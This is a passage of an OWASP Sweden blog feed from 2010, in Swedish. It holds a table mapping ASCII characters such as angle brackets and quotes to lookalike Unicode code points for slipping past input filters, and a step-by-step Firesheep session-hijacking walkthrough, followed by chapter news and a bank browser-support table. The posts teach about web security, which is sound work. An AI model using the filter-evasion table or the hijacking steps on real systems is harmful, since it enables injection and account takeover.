class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;F&lt;/b&gt;":["0191","1E1E","2131","2132","A77B","FF26","1D405","1D439","1D46D","1D4D5","1D509","1D53D","1D571","1D5A5","1D5D9","1D60D","1D641","1D675","1D7CA"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;M&lt;/b&gt;":["019C","1E3E","1E40","1E42","2133","2C6E","FF2D","1D40C","1D440","1D474","1D4DC","1D510","1D544","1D578","1D5AC","1D5E0","1D614","1D648","1D67C","1D727","1D761","1D79B"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;P&lt;/b&gt;":["01A4","1E54","1E56","2119","2C63","A750","A752","A754","FF30","1D40F","1D443","1D477","1D4AB","1D4DF","1D513","1D57B","1D5AF","1D5E3","1D617","1D64B","1D67F","1D72C","1D767","1D7A1"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;V&lt;/b&gt;":["01B2","0245","1E7C","1E7E","1EFC","A75E","FF36","1D415","1D449","1D47D","1D4B1","1D4E5","1D519","1D54D","1D581","1D5B5","1D5E9","1D61D","1D651","1D685"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;X&lt;/b&gt;":["1E8A","1E8C","FF38","1D417","1D44B","1D47F","1D4B3","1D4E7","1D51B","1D54F","1D583","1D5B7","1D5EB","1D61F","1D653","1D687","1D6F8","1D732","1D76C","1D7A6"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;Q&lt;/b&gt;":["211A","A756","A758","FF31","1D410","1D444","1D478","1D4AC","1D4E0","1D514","1D57C","1D5B0","1D5E4","1D618","1D64C","1D680"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;0&lt;/b&gt;:["0030","0660","06F0","07C0","0966","09E6","0A66","0AE6","0B66","0BE6","0C66","0CE6","0D66","0E50","0ED0","0F20","1040","1090","17E0","1810","1946","19D0","1A80","1A90","1B50","1BB0","1C40","1C50","A620","A8D0","A900","A9D0","AA50","ABF0","FF10","104A0","11066","1D7CE","1D7D8","1D7E2","1D7EC","1D7F6"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;1&lt;/b&gt;:["0031","0661","06F1","07C1","0967","09E7","0A67","0AE7","0B67","0BE7","0C67","0CE7","0D67","0E51","0ED1","0F21","1041","1091","17E1","1811","1947","19D1","1A81","1A91","1B51","1BB1","1C41","1C51","A621","A8D1","A901","A9D1","AA51","ABF1","FF11","104A1","11067","1D7CF","1D7D9","1D7E3","1D7ED","1D7F7"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;2&lt;/b&gt;:["0032","0662","06F2","07C2","0968","09E8","0A68","0AE8","0B68","0BE8","0C68","0CE8","0D68","0E52","0ED2","0F22","1042","1092","17E2","1812","1948","19D2","1A82","1A92","1B52","1BB2","1C42","1C52","A622","A8D2","A902","A9D2","AA52","ABF2","FF12","104A2","11068","1D7D0","1D7DA","1D7E4","1D7EE","1D7F8"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;3&lt;/b&gt;:["0033","0663","06F3","07C3","0969","09E9","0A69","0AE9","0B69","0BE9","0C69","0CE9","0D69","0E53","0ED3","0F23","1043","1093","17E3","1813","1949","19D3","1A83","1A93","1B53","1BB3","1C43","1C53","A623","A8D3","A903","A9D3","AA53","ABF3","FF13","104A3","11069","1D7D1","1D7DB","1D7E5","1D7EF","1D7F9"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;4&lt;/b&gt;:["0034","0664","06F4","07C4","096A","09EA","0A6A","0AEA","0B6A","0BEA","0C6A","0CEA","0D6A","0E54","0ED4","0F24","1044","1094","17E4","1814","194A","19D4","1A84","1A94","1B54","1BB4","1C44","1C54","A624","A8D4","A904","A9D4","AA54","ABF4","FF14","104A4","1106A","1D7D2","1D7DC","1D7E6","1D7F0","1D7FA"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;5&lt;/b&gt;:["0035","0665","06F5","07C5","096B","09EB","0A6B","0AEB","0B6B","0BEB","0C6B","0CEB","0D6B","0E55","0ED5","0F25","1045","1095","17E5","1815","194B","19D5","1A85","1A95","1B55","1BB5","1C45","1C55","A625","A8D5","A905","A9D5","AA55","ABF5","FF15","104A5","1106B","1D7D3","1D7DD","1D7E7","1D7F1","1D7FB"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;6&lt;/b&gt;:["0036","0666","06F6","07C6","096C","09EC","0A6C","0AEC","0B6C","0BEC","0C6C","0CEC","0D6C","0E56","0ED6","0F26","1046","1096","17E6","1816","194C","19D6","1A86","1A96","1B56","1BB6","1C46","1C56","A626","A8D6","A906","A9D6","AA56","ABF6","FF16","104A6","1106C","1D7D4","1D7DE","1D7E8","1D7F2","1D7FC"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;7&lt;/b&gt;:["0037","0667","06F7","07C7","096D","09ED","0A6D","0AED","0B6D","0BED","0C6D","0CED","0D6D","0E57","0ED7","0F27","1047","1097","17E7","1817","194D","19D7","1A87","1A97","1B57","1BB7","1C47","1C57","A627","A8D7","A907","A9D7","AA57","ABF7","FF17","104A7","1106D","1D7D5","1D7DF","1D7E9","1D7F3","1D7FD"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;8&lt;/b&gt;:["0038","0668","06F8","07C8","096E","09EE","0A6E","0AEE","0B6E","0BEE","0C6E","0CEE","0D6E","0E58","0ED8","0F28","1048","1098","17E8","1818","194E","19D8","1A88","1A98","1B58","1BB8","1C48","1C58","A628","A8D8","A908","A9D8","AA58","ABF8","FF18","104A8","1106E","1D7D6","1D7E0","1D7EA","1D7F4","1D7FE"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;9&lt;/b&gt;:["0039","0669","06F9","07C9","096F","09EF","0A6F","0AEF","0B6F","0BEF","0C6F","0CEF","0D6F","0E59","0ED9","0F29","1049","1099","17E9","1819","194F","19D9","1A89","1A99","1B59","1BB9","1C49","1C59","A629","A8D9","A909","A9D9","AA59","ABF9","FF19","104A9","1106F","1D7D7","1D7E1","1D7EB","1D7F5","1D7FF"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;-&lt;/b&gt;"&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;:["002D","058A","05BE","1400","1806","2010","2011","2012","2013"&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"2014","2015","FE58","FE63","FF0D"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;|&lt;/b&gt;":["FE31","FE32"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;'&lt;/b&gt;":["2019","201A"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;'&lt;b&gt;"&lt;/b&gt;':["201D","00BB","301E","301F","201E","FF02"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;&amp;gt;&lt;/b&gt;":["203A","2992","2994","3009","300B"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;]&lt;/b&gt;":["2046","27E7","298C","298E","2990","301B","FF3D"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;)&lt;/b&gt;":["208E","207E","2769","276B","2986","FE5A","FF09","FF60"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;}&lt;/b&gt;":["2775"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;(&lt;/b&gt;":["207D","208D","2768","276A","2985","FD3E","FE59","FF08","FF5F"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;[&lt;/b&gt;":["2045","27E6","298B","298D","298F","301A","FF3B"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;&amp;lt;&lt;/b&gt;":["2329","276C","276E","2770","27E8","27EA","2991","29FC","3008"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;{&lt;/b&gt;":["2774","2983","FE5B","FF5B"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;!&lt;/b&gt;":["00A1","055C","07F9","203C","2048"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;#&lt;/b&gt;":["FE5F","FF03"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;%&lt;/b&gt;":["066A","FE6A","FF05"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;&amp;amp;&lt;/b&gt;":["FE60","FF06"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;*&lt;/b&gt;":["204E","2051","FE61","FF0A"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;",":["055D","060C","07F8","1363","1802","1808","3001","A60D","FE10","FE11","FE50","FE51","FF0C","FF64"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;.&lt;/b&gt;":["0589","06D4","0701","0702","1362","166E","1803","1809","3002","A60E","FE12","FE52","FF0E","FF61"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;/&lt;/b&gt;":["FF0F"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;:&lt;/b&gt;":["0703","0704","0706","0707","0708","0709","1364","1365","1366","1804","204F","205D","FE13","FE55","FF1A"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;\\&lt;/b&gt;":["FE68","FF3C"]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-4380590638668839676?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/4380590638668839676/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=4380590638668839676' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4380590638668839676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4380590638668839676'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/10/lura-filtret-med-unicode-ekvivalenter.html' title='Lura filtret med Unicode-ekvivalenter'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1379575700321894724</id><published>2010-10-26T15:53:00.005+02:00</published><updated>2010-10-26T21:38:57.534+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='session hijacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='Firesheep'/><title type='text'>Firesheep, så funkar det</title><content type='html'>Jag blev idag &lt;a href="http://www.nyhetskanalen.se/1.1877734/2010/10/26/sa_kapas_ditt_facebook_konto"&gt;intervjuad av TV4-nyheterna&lt;/a&gt; om cookie-sniffaren &lt;a href="http://codebutler.com/firesheep"&gt;Firesheep&lt;/a&gt;, en plug-in till Firefox som sniffar upp sessionskakor för populära tjänster på det nätverk man är kopplad till. Intervjun var med som ett &lt;a href="http://www.nyhetskanalen.se/webb_tv?videoId=1.1878705"&gt;inslag i 19-nyheterna&lt;/a&gt; också.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Installera och testa Firesheep&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Det var lite trassel att få Firesheep att funka så jag tänkte jag postar det här för er som vill testa. &lt;u&gt;Observera att jag inte går i god för programmet&lt;/u&gt;. Det kan visa sig vara en elak bakdörr.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Se till att du har &lt;a href="http://www.mozilla.com/sv-SE/"&gt;Firefox&lt;/a&gt; 3.6.* och minst 3.6.10, t ex 3.6.11. Inte 4 beta om du inte vill experimentera.&lt;/li&gt;&lt;li&gt;Ladda hem &lt;a href="http://github.com/codebutler/firesheep/downloads"&gt;Firesheep från GitHub&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Öppna xpi-filen med Firefox och installera.&lt;/li&gt;&lt;li&gt;Starta om Firefox om den kräver det.&lt;/li&gt;&lt;li&gt;Nu ska du ha en Firesheep-vy som en kolumn i vänsterkanten. Om inte så Visa -&amp;gt; Sidofält -&amp;gt; Firesheep.&lt;/li&gt;&lt;li&gt;Under Inställningar -&amp;gt; Sekretess:&amp;nbsp;Stäng av ev privat surfningsläge, tillåt cookies och tilllåt tredjeparts-cookies.&lt;/li&gt;&lt;li&gt;Slå på Firesheep med knappen "Start Capturing".&lt;/li&gt;&lt;li&gt;Öppna en annan webbläsare, t ex Chrome.&lt;/li&gt;&lt;li&gt;Logga in på Facebook, Twitter eller Flickr i Chrome.&lt;/li&gt;&lt;li&gt;Kolla Firesheep-vyn i Firefox. Där ska dina olika konton ha dykt upp.&lt;/li&gt;&lt;li&gt;Dubbelklicka på något av dina konton i Firesheep och vips så har du genomfört en &lt;i&gt;session hijacking&lt;/i&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Om du nu suttit på ett öppet trådlöst nät så hade alla andra aktiva sessioner dykt upp i din Firesheep-kolumn. &lt;u&gt;Notera att det är olagligt att utnyttja andras sessioner utan tillstånd&lt;/u&gt;. Att avlyssna nätverket och titta på listan är dock helt OK.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Förkonfigurerade tjänster som Firesheep sniffar&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Följande tjänster/domäner är förkonfigurerade i Firesheep:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Amazon.com&lt;/li&gt;&lt;li&gt;Basecamp&lt;/li&gt;&lt;li&gt;bit.ly&lt;/li&gt;&lt;li&gt;Cisco&lt;/li&gt;&lt;li&gt;CNET&lt;/li&gt;&lt;li&gt;Dropbox&lt;/li&gt;&lt;li&gt;Enom&lt;/li&gt;&lt;li&gt;Evernote&lt;/li&gt;&lt;li&gt;Facebook&lt;/li&gt;&lt;li&gt;Flickr&lt;/li&gt;&lt;li&gt;Foursquare&lt;/li&gt;&lt;li&gt;GitHub&lt;/li&gt;&lt;li&gt;Google (dock ej GMail numer)&lt;/li&gt;&lt;li&gt;Gowalla&lt;/li&gt;&lt;li&gt;Hacker News&lt;/li&gt;&lt;li&gt;Harvest&lt;/li&gt;&lt;li&gt;Windows Live&lt;/li&gt;&lt;li&gt;New York Times&lt;/li&gt;&lt;li&gt;Pivotal Tracker&lt;/li&gt;&lt;li&gt;ToorCon: San Diego&lt;/li&gt;&lt;li&gt;Slicehost SliceManager&lt;/li&gt;&lt;li&gt;tumblr.com&lt;/li&gt;&lt;li&gt;Twitter&lt;/li&gt;&lt;li&gt;Wordpress&lt;/li&gt;&lt;li&gt;Yahoo&lt;/li&gt;&lt;li&gt;Yelp&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Den underliggande sårbarheten&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Vad är då sårbarheten? Jo, tjänster såsom Facebook krypterar bara trafiken vid inloggning (ditt lösenord är alltså skyddat). Efter det så går Facebook tillbaka till okrypterad trafik. Din sessions-cookie är det som Facebook identifierar dig med efter inloggning och den skickas i klartext vid varje anrop till Facebook. Det är den trafiken som Firesheep avlyssnar och plockar upp sessions-info från.&lt;br /&gt;&lt;br /&gt;Med din sessions-cookie i min webbläsare så är jag lika inloggad som du är.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PS.&lt;br /&gt;Eftersom det valsat runt så mycket felaktig information så vill jag poängtera två saker:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Firesheep är en plugin till Firefox, dvs ett tilläggsprogram. Det hela handlar alltså inte om något säkerhetshål i Firefox. Det vore lika dumt som att påstå att Windows har problem för att någon skrivit en nätverksskanner som körs på Windows.&lt;/li&gt;&lt;li&gt;Offret kan surfa med valfri webbläsare – Safari, Internet Explorer, Opera, Firefox, Chrome och så vidare. &lt;i&gt;Session hijacking&lt;/i&gt; med hjälp av cookies är inte begränsat till en viss webbläsare.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;DS.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;/John Wilander, chapter co-leader&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1379575700321894724?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1379575700321894724/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1379575700321894724' title='13 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1379575700321894724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1379575700321894724'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/10/firesheep-sa-funkar-det.html' title='Firesheep, så funkar det'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8954452662564148104</id><published>2010-10-18T20:43:00.000+02:00</published><updated>2010-10-18T20:43:06.312+02:00</updated><title type='text'>500 medlemmar, ny organisation</title><content type='html'>OWASP Sweden har nu 500 medlemmar. Vilken kraft!&lt;br /&gt;&lt;br /&gt;I samband med det och det faktum att vi faktiskt blivit tre år gamla så kommer vi omorganisera lite.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Tre ledare&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Till att börja med så kommer ledarskapet bli tredelat:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;John Wilander, co-leader&lt;/li&gt;&lt;li&gt;Mattias Bergling, co-leader&lt;/li&gt;&lt;li&gt;Robert Malmgren, co-leader&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Mattias och Robert har varit med och drivit chaptret sen starten och Mattias har varit budgetansvarig för AppSec-konferensen i somras. De kommer börja blogga här tillsammans med mig så vi kommer försöka skriva under våra inlägg.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Medlemmar kan söka till ledningsrådet&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Sen vill vi också förnya ledningsrådet "OWASP Sweden Board". Därför kommer inom kort en inbjudan skickas ut till alla medlemmar där man får höra av sig med intresse att vara med. Vi vill vara en välkomnande och öppen community och jag hoppas verkligen att det finns en eller två nya som vi kan ta med i ledningsrådet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Eder ...&lt;/div&gt;&lt;div&gt;/John Wilander, chapter co-leader&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8954452662564148104?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8954452662564148104/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8954452662564148104' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8954452662564148104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8954452662564148104'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/10/500-medlemmar-ny-organisation.html' title='500 medlemmar, ny organisation'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2703177762875062043</id><published>2010-10-03T16:49:00.004+02:00</published><updated>2010-10-03T18:08:28.634+02:00</updated><title type='text'>IE eller FF om banken får välja</title><content type='html'>&lt;div&gt;Säkerheten på webben är starkt beroende av säkerheten i våra webbläsare. Bankerna borde verkligen push:a sina kunder att uppgradera och uppdatera.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Glädjande nog är det bara en av de större bankerna, nämligen Handelsbanken, som fortfarande officiellt stödjer Internet Explorer 6. Förutom Microsofts webbläsare så verkar det vara Firefox som gäller, även på Mac.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;För Linuxfolket ser det riktigt skralt ut. En eloge till Skandiabanken där. Å andra sidan skriver Skandiabanken inget om Windows 7 så man undrar hur ofta sidorna uppdateras.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;table bgcolor="#ffffff" border="1" bordercolor="#000000" cellpadding="3" cellspacing="0" id="ztes" style="text-align:left"&gt;&lt;tbody&gt;  &lt;/tbody&gt;&lt;tbody&gt;    &lt;tr&gt;      &lt;td bgcolor="#6fa8dc" width="16.7%"&gt;&lt;/td&gt;     &lt;td bgcolor="#6fa8dc" style="text-align:center" width="16.7%"&gt;&lt;b&gt;Handelsb.&lt;/b&gt;&lt;/td&gt;      &lt;td bgcolor="#6fa8dc" style="text-align:center" width="16.7%"&gt;&lt;b&gt;Nordea&lt;/b&gt;&lt;/td&gt;     &lt;td bgcolor="#6fa8dc" style="text-align:center" width="16.7%"&gt;&lt;b&gt;SEB&lt;/b&gt;&lt;/td&gt;      &lt;td bgcolor="#6fa8dc" style="text-align:center" width="16.7%"&gt;&lt;b&gt;Skandiab.&lt;/b&gt;&lt;/td&gt;      &lt;td bgcolor="#6fa8dc" style="text-align:center" width="16.7%"&gt;&lt;b&gt;Swedb.&lt;/b&gt;&lt;/td&gt;   &lt;/tr&gt;    &lt;tr&gt;      &lt;td bgcolor="#ffffff" width="16.7%"&gt;Windows&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;IE 6-8, FF 3.5.2+&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;IE 7-8, FF 3.5&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;IE 8, FF 3.6&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;IE 7-8, FF 3.5-3.6&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;IE 7+, FF 3+, Chrome 4+&lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt;    &lt;tr&gt;      &lt;td bgcolor="#ffffff" width="16.7%"&gt;Mac OS&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;FF 3.5.2+&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;FF 3.5, Safari 4&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;FF 3.6, Safari 4&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;FF 3.5-3.6&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;FF 3+, Safari 3+, Chrome 4+&lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt;    &lt;tr&gt;      &lt;td bgcolor="#ffffff" width="16.7%"&gt;Linux (Ubuntu)&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#660000;"&gt;Inte med e-leg&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#660000;"&gt;Ingen info&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#660000;"&gt;Ingen info&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#000000;"&gt;FF 